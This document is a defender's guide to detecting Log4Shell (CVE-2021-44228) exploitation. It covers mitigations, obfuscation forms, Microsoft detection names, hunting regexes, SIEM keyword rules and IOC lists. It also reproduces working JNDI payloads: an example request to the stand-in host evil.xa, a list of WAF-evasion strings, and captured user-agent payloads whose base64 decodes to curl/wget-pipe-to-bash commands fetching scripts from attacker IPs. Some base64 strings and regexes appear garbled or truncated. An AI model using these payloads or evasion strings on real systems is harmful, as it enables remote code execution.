

Detecting Log4J

A remote, unauthenticated attacker could exploit this vulnerability via a single request to take control of an affected system by executing code.

An attacker usually performs an HTTP request against a target system, which generates a log using Log4j, that leverages JNDI to perform a request to the attacker-controlled site. The vulnerability then causes the exploited process to reach out to the site and execute the payload.

Official sources:

[Click Here](#) – National Vulnerability Database Link

[Click Here](#) – CVE Details Link

[Click Here](#) – Vendor (Apache) Advisory Link

[Click Here](#) – CISA Advisory Link

[Click Here](#) – NCSC Advisory Link

Resources:

- Firewall {WAF, Cisco etc.}
- Windows and Linux [Post exploitation]

To start, a simple example pattern of attack which would appear in a web request log has the following strings:

`${jndi:ldap://[attacker site]/a}`

`${jndi:ldap://[attacker site]/a}`

where **a** is the name of the malicious file.

Mitigations:

Vulnerable versions include 2.0 to 2.14.1, inclusive. **Version 2.15.0 is safe.** Update to a safe version.

The flaw can also be mitigated in previous releases (2.10 and later) by **setting system property “log4j2.formatMsgNoLookups” to “true” or removing the JndiLookup class from the classpath.**

Most of the times, this attack is seen following **4 approaches**:

- **Standard/Initial Format:**
`${jndi:ldap://IPAddress:Port/Basic/Command/Base64/EncodedCommandHere=}`
- **Lowercase/Uppercase Lookups:**
i-`“${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}:”`
ii-`“${${upper:j}ndi:${upper:l}${upper:d}a${a}a${lower:p}:”`
- **Utilising System Environment Variables:**
`“${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-l}${env:ENV_NAME:-d}ap${env:ENV_NAME:-:}”`
If there is no ENV_NAME system environment variable, use text after :-
- **::- Notations:**
`“${${::-j}${::-n}${::-d}${::-i}${::-l}${::-d}${::-a}${::-p}:”`

The log4j JNDI Attack

and how to prevent it

An attacker inserts the JNDI lookup in a header field that is likely to be logged.

```
GET /test HTTP/1.1
Host: victim.xa
User-Agent: ${jndi:ldap://evil.xa/x}
```

⚠ BLOCK WITH WAF

The string is passed to log4j for logging

`"${jndi:ldap://evil.xa/x}"`

log4j interpolates the string and queries the malicious LDAP server.

`ldap://evil.xa/x`

⚠ DISABLE JNDI LOOKUPS

Attacker

Vulnerable Server
http://victim.xa

⚠ PATCH LOG4J
Vulnerable log4j
implementation

Malicious LDAP Server
ldap://evil.xa

⚠ DISABLE
REMOTE
CODEBASES

```
public class Malicious implements Serializable {
    ...
    static {
        <malicious Java code>
    }
    ...
}
```

JAVA deserializes (or downloads) the malicious Java class and executes it.

```
dn:
javaClassName: Malicious
javaCodebase: http://evil.xa
javaSerializedData: <...>
```

The LDAP server responds with directory information that contains the malicious Java class

GovCERT.ch

Image credit: <https://www.govcert.ch/blog/zero-day-exploit-targeting-popular-java-library-log4j/>

1. At a basic level, pattern match across these strings:

The string contains “jndi”, which refers to the Java Naming and Directory Interface.

“log4j”, “\${jndi”, “ldap”, “ldaps”, “rmi”, “dns”, “iiop”, or “http”, precedes the attacker

Then, consider the above obfuscations - uppercase/lowercase, notations etc.

2. Behaviors related to this threat observed by Microsoft [post exploitation] {pattern match - blue}

On Windows:

- [Trojan:Win32/Capfetox.AA](#) – detects attempted exploitation on the attacker machine
- [HackTool:Win32/Capfetox.Aldha](#) – detects attempted exploitation on the attacker machine
- [VirTool:Win64/CobaltStrike.A](#), [TrojanDropper:PowerShell/Cobacis.A](#) – detects Cobalt Strike Beacon loaders
- [TrojanDownloader:Win32/CoinMiner](#) – detects post-exploitation coin miner
- [Trojan:Win32/WebToos.A](#) – detects post-exploitation PowerShell
- [Ransom:MSIL/Khonsari.A](#) – detects a strain of the Khonsari ransomware family observed being distributed post-exploitation

- [Trojan:Win64/DisguisedXMRigMiner](#) – detects post-exploitation cryptocurrency miner
 - [TrojanDownloader:Java/Agent.S](#) – detects suspicious class files used in post-exploitation
- On Linux:
- [Trojan:Linux/SuspectJavaExploit.A](#), [Trojan:Linux/SuspectJavaExploit.B](#), [Trojan:Linux/SuspectJavaExploit.C](#) – blocks Java processes downloading and executing payload through output redirection
 - [Trojan:Linux/BashMiner.A](#) – detects post-exploitation cryptocurrency miner
 - [TrojanDownloader:Linux/CoinMiner](#) – detects post-exploitation cryptocurrency miner
 - [TrojanDownloader:Linux/Tsunami](#) – detects post-exploitation Backdoor Tsunami downloader
 - [Backdoor:Linux/Tsunami.C](#) – detects post-exploitation Tsunami backdoor
 - [Backdoor:Linux/Setag.C](#) – detects post-exploitation Gates backdoor
 - [Exploit:Linux/CVE-2021-44228.A](#), [Exploit:Linux/CVE-2021-44228.B](#) – detects exploitation
 - [TrojanDownloader:Linux/CapfetoX.A](#), [TrojanDownloader:Linux/CapfetoX.B](#)
 - [TrojanDownloader:Linux/ShAgnt!MSR](#), [TrojanDownloader:Linux/ShAgnt.A!MTB](#)
 - [Trojan:Linux/Kinsing.L](#) – detects post-exploitation cryptocurrency Kinsing miner
 - [Trojan:Linux/Mirai.TS!MTB](#) – detects post-exploitation Mirai malware capable of performing DDoS
 - [Backdoor:Linux/Dakkatoni.az!MTB](#) – detects post-exploitation Dakkatoni backdoor trojan capable of downloading more payloads
 - [Trojan:Linux/JavaExploitRevShell.A](#) – detects reverse shell attack post-exploitation
 - [Trojan:Linux/BashMiner.A](#), [Trojan:Linux/BashMiner.B](#) – detects post-exploitation cryptocurrency miner

Regex to identify malicious exploit string

DeviceProcessEvents

| where ProcessCommandLine matches regex

```
@'(?i)\${jndi:(ldap|http|https|ldaps|dns|rmi|iiop):\\\/(\\$\\{([a-z]){1,20}:([a-z]){1,20}\\})?(([a-zA-Z0-9]|-){2,100})?\\.([a-zA-Z0-9]|-){2,100})?\\.([a-zA-Z0-9]|-){2,100}\\.[a-z0-9]{2,20}(\\/).*}'
```

or InitiatingProcessCommandLine matches regex

```
@'(?i)\${jndi:(ldap|http|https|ldaps|dns|rmi|iiop):\\\/(\\$\\{([a-z]){1,20}:([a-z]){1,20}\\})?(([a-zA-Z0-9]|-){2,100})?\\.([a-zA-Z0-9]|-){2,100})?\\.([a-zA-Z0-9]|-){2,100}\\.[a-z0-9]{2,20}(\\/).*}'
```

3. Microsoft queries [.yaml files]:

- [Log4j vulnerability exploit aka Log4Shell IP IOC](#)
- [Possible exploitation of Apache Log4j component detected](#)
- [Cryptocurrency miners EXECVE](#)
- [Azure WAF Log4j CVE-2021-44228 hunting](#)
- [Log4j vulnerability exploit aka Log4Shell IP IOC](#)
- [Suspicious shell script detected](#)
- [Azure WAF matching for CVE-2021-44228 Log4j vulnerability](#)
- [Suspicious Base64 download activity detected](#)
- [Linux security-related process termination activity detected](#)
- [Suspicious manipulation of firewall detected via Syslog data](#)

- [User agent search for Log4j exploitation attempt](#)
- [Network connections to LDAP port for CVE-2021-44228 vulnerability](#)
- [Linux toolkit detected](#)
- [Container miner activity](#)
- [Network connection to new external LDAP server](#)

4. Log4j IOC IP blacklistlist:

https://raw.githubusercontent.com/Azure/Azure-Sentinel/master/Sample%20Data/Feeds/Log4j_IOC_List.csv
<https://raw.githubusercontent.com/CriticalPathSecurity/Public-Intelligence-Feeds/master/log4j.txt>

5. Found this curated list containing a ton of IOCs:

<https://github.com/curated-intel/Log4Shell-IOCs> [MAIN]
<https://gist.github.com/gnremy/c546c7911d5f876f263309d7161a7217> - has a lot of IPs
<https://gist.github.com/superducktoes/9b742f7b44c71b4a0d19790228ce85d8> - callback URLs

6. Payload Indicators:

- 92.242.40[.]21:1534
- **SINKHOLE:** [http://kryptoslogic-cve-2021-44228\[.\]com](http://kryptoslogic-cve-2021-44228[.]com)
- 45.130.229[.]168:1389
- 92.242.40[.]21:5557
- 82.118.18[.]201:1534
- dc13cc43.probe001.log4j.leakix[.]net:9200
- c6qgldh5g22l07bu1lvgcg4uhtoy81emy.interactsh[.]com
- 45.155.205[.]233:12344

7. User-agent Indicators:

- `${jndi:ldap://92.242.40[.]21:1534/Basic/Command/Base64/KGN1cmwgLXMgOTluMjQyLjQwLjlxL2xoLnNofHx3Z2V0IC1xIC1PLSA5Mi4yNDluNDAuMjEvdGguc2gpfGJhc2g=}`
- `${jndi:${lower:l}${lower:d}a${lower:p}://sc${upper:a}n-one.research.billdemirkapi[.]me:1389/a}`
- `${jndi:ldap://http443useragent.kryptoslogic-cve-2021-44228[.]com/http443useragent}`
- `/${jndi:ldap://45.130.229[.]168:1389/Exploit}`
- `${jndi:ldap://92.242.40[.]21:5557/Basic/Command/Base64/KGN1cmwgLXMgOTluMjQyLjQwLjlxL2xoLnNofHx3Z2V0IC1xIC1PLSA5Mi4yNDluNDAuMjEvdGguc2gpfGJhc2g=}`
- `${jndi:ldap://82.118.18[.]201:1534/Basic/Command/Base64/KGN1cmwgLXMgODluMTE4LjE4LjIwMS9saC5zaHx8d2dldCAtcSAAtTy0gODluMTE4LjE4LjIwMS9saC5zaC8YmFzaA==}`
- `${jndi:${lower:l}${lower:d}a${lower:p}://world443.log4j[.]bin${upper:a}ryedge[.]io:80/callback}`
- `${jndi:${lower:l}${lower:d}a${lower:p}://world80.log4j[.]bin${upper:a}ryedge[.]io:80/callback}`
- `${jndi:ldap://http80useragent.kryptoslogic-cve-2021-44228[.]com/http80useragent}`
- `${jndi:ldaps://dc13cc43.probe001.log4j.leakix[.]net:9200/b}`
- `${${::-j}${::-n}${::-d}${::-i}${::-l}${::-d}${::-a}${::-p}://${hostname}.c6qgldh5g22l07bu1lvgcg4uhtoy81emy.interactsh[.]com}`
- `${${::-j}${::-n}${::-d}${::-i}${::-l}${::-d}${::-a}${::-p}://45.155.205[.]233:12344/Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC8yMC41NC45Ni4xNDc6NDQzfHx3Z2V0IC1xIC1PLSA0NS4xNTUuMjA1LjIzMzo1ODc0LzIwLjU0Ljk2LjE0Nzo0NDMpfGJhc2g=}`

- `${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://45.155.205[.]233:12344/Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjlwNS4yMzM6NTg3NC8yMC41NC45Ni4xNTY6NDQzfHx3Z2V0IC1xIC1PLSA0NS4xNTUuMjA1LjIzMzo1ODc0LzlwLjU0Ljk2LjE1Njo0NDMpfGJhc2g=}`
- `${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://45.155.205[.]233:12344/Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjlwNS4yMzM6NTg3NC8xMy43NC4xOC44Mzo0NDN8fHdnZXQgLXEGLU8tIDQ1LjE1NS4yMDUuMjMzOjU4NzQvMTMuNzQuMTguODM6NDQzKXxiYXNo}`
- `${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://45.155.205[.]233:12344/Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjlwNS4yMzM6NTg3NC8yMC41NC45Ni4xNTY6ODB8fHdnZXQgLXEGLU8tIDQ1LjE1NS4yMDUuMjMzOjU4NzQvMjAuNTQuOTYuMTU2OjgwKXxiYXNo}`
- `${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://45.155.205[.]233:12344/Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjlwNS4yMzM6NTg3NC8yMC41NC45Ni4xNDc6ODB8fHdnZXQgLXEGLU8tIDQ1LjE1NS4yMDUuMjMzOjU4NzQvMjAuNTQuOTYuMTQ3OjgwKXxiYXNo}`
- `${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://45.155.205[.]233:12344/Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjlwNS4yMzM6NTg3NC8xMy43NC4xOC44Mzo4MHx8d2dlcAtcSAtTy0gNDUuMTU1LjlwNS4yMzM6NTg3NC8xMy43NC4xOC44Mzo4MCI8YmFzaA==}`

8. Few Eg. of WAF evasion payloads:

```

${jndi:ldap://127.0.0.1:1389/ badClassName}
${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}
${::-j}ndi:rmi://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}
${jndi:rmi://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk}
${${lower:jndi}:${lower:rmi}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}
${${lower:${lower:jndi}}:${lower:rmi}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}
${${upper:jndi}:${upper:rmi}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}
${${upper:j}${upper:n}${lower:d}i:${upper:rmi}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}
${${upper:j}${upper:n}${upper:d}${upper:i}:${lower:r}m${lower:i}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://${hostName}.nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk}
${${upper::-j}${upper::-n}${::-d}${upper::-i}:${upper::-l}${upper::-d}${upper::-a}${upper::-p}://${hostName}.nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://${hostName}.${env:COMPUTERNAME}.${env:USERDOMAIN}.${env}.nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk}

```

9. The following commands can be used to **manually threat hunt** for exploitation activity in /var/log and other sub locations:

<https://gist.github.com/Neo23x0/e4c8b03ff8cdf1fa63b7d15db6e3860b>

10. LOG4J Vulnerability Exploitation detection SIEM Rule

User-Agent contains any of ('\${jndi:ldap:/', '\${jndi:rmi:/', '\${jndi:ldaps:/', '\${jndi:dns:/', '/\$%7bjndi:', '%24%7bjndi:', '%7Bjndi:', '%2524%257Bjndi', '%2F%252524%25257Bjndi%3A', '\${jndi:\${lower:', '\${::-j}}\$', '\${jndi:nis', '\${jndi:nds', '\${jndi:corba', '\${jndi:iiop', '\${\${env:BARFOO:-j}', '\${::-l}\${::-d}\${::-a}\${::-p}', '\${base64:JHtqbmRp')

OR

User-Name contains any of ('\${jndi:ldap:/', '\${jndi:rmi:/', '\${jndi:ldaps:/', '\${jndi:dns:/', '/\$%7bjndi:', '%24%7bjndi:', '%7Bjndi:', '%2524%257Bjndi', '%2F%252524%25257Bjndi%3A', '\${jndi:\${lower:', '\${::-j}}\$', '\${jndi:nis', '\${jndi:nds', '\${jndi:corba', '\${jndi:iiop', '\${\${env:BARFOO:-j}', '\${::-l}\${::-d}\${::-a}\${::-p}', '\${base64:JHtqbmRp')

OR

URI or URL contains any of ('\${jndi:ldap:/', '\${jndi:rmi:/', '\${jndi:ldaps:/', '\${jndi:dns:/', '/\$%7bjndi:', '%24%7bjndi:', '%7Bjndi:', '%2524%257Bjndi', '%2F%252524%25257Bjndi%3A', '\${jndi:\${lower:', '\${::-j}}\$', '\${jndi:nis', '\${jndi:nds', '\${jndi:corba', '\${jndi:iiop', '\${\${env:BARFOO:-j}', '\${::-l}\${::-d}\${::-a}\${::-p}', '\${base64:JHtqbmRp')

OR

referrer contains any of ('\${jndi:ldap:/', '\${jndi:rmi:/', '\${jndi:ldaps:/', '\${jndi:dns:/', '/\$%7bjndi:', '%24%7bjndi:', '%7Bjndi:', '%2524%257Bjndi', '%2F%252524%25257Bjndi%3A', '\${jndi:\${lower:', '\${::-j}}\$', '\${jndi:nis', '\${jndi:nds', '\${jndi:corba', '\${jndi:iiop', '\${\${env:BARFOO:-j}', '\${::-l}\${::-d}\${::-a}\${::-p}', '\${base64:JHtqbmRp')

OR

x-forward contains any of ('\${jndi:ldap:/', '\${jndi:rmi:/', '\${jndi:ldaps:/', '\${jndi:dns:/', '/\$%7bjndi:', '%24%7bjndi:', '%7Bjndi:', '%2524%257Bjndi', '%2F%252524%25257Bjndi%3A', '\${jndi:\${lower:', '\${::-j}}\$', '\${jndi:nis', '\${jndi:nds', '\${jndi:corba', '\${jndi:iiop', '\${\${env:BARFOO:-j}', '\${::-l}\${::-d}\${::-a}\${::-p}', '\${base64:JHtqbmRp')

OR

User-Agent OR User-Name OR URI OR URL OR referrer OR x-forward Match Regex
(/\\${jndi:(ldap|ldaps|rmi|dns|iiop|http|nis|nds|corba):\[V\]?[a-z\.\0-9]{3,120}:\[0-9\]{2,5}\[a-zA-Z\.\]{1,32}\})

OR

User-Agent OR User-Name OR URI OR URL OR referrer OR x-forward Match Regex (*env* or *ENV_NAME* or *lower* or *upper*) and (*ndi* or *jnd* or *dap* or *dns*)

Detection Engineering:

Detection	Technique
JNDI keyword match in User-Agent, URI, Referrer, x-forwarded-for, URL	Pattern match for \${jndi:ldap://, \${\${lower:}}, \${::-j}}\${::-n}
Regex-based obfuscation detection	`/\${jndi:(ldap
WAF rules triggered for known Log4J patterns	WAF signatures matching CVE-2021-44228
Base64 payloads in HTTP requests	base64:.*c3lzdGVtKC..., commonly found in payloads
Outbound LDAP/DNS/RMI traffic from web server	Indicates callback to attacker-controlled server

Resources:

<https://www.microsoft.com/security/blog/2021/12/11/guidance-for-preventing-detecting-and-hunting-for-cve-2021-44228-log4j-2-exploitation/#attacks>

<https://www.trustedsec.com/blog/log4j-playbook/>

<https://securityblue.team/log4j-hunting-and-indicators/>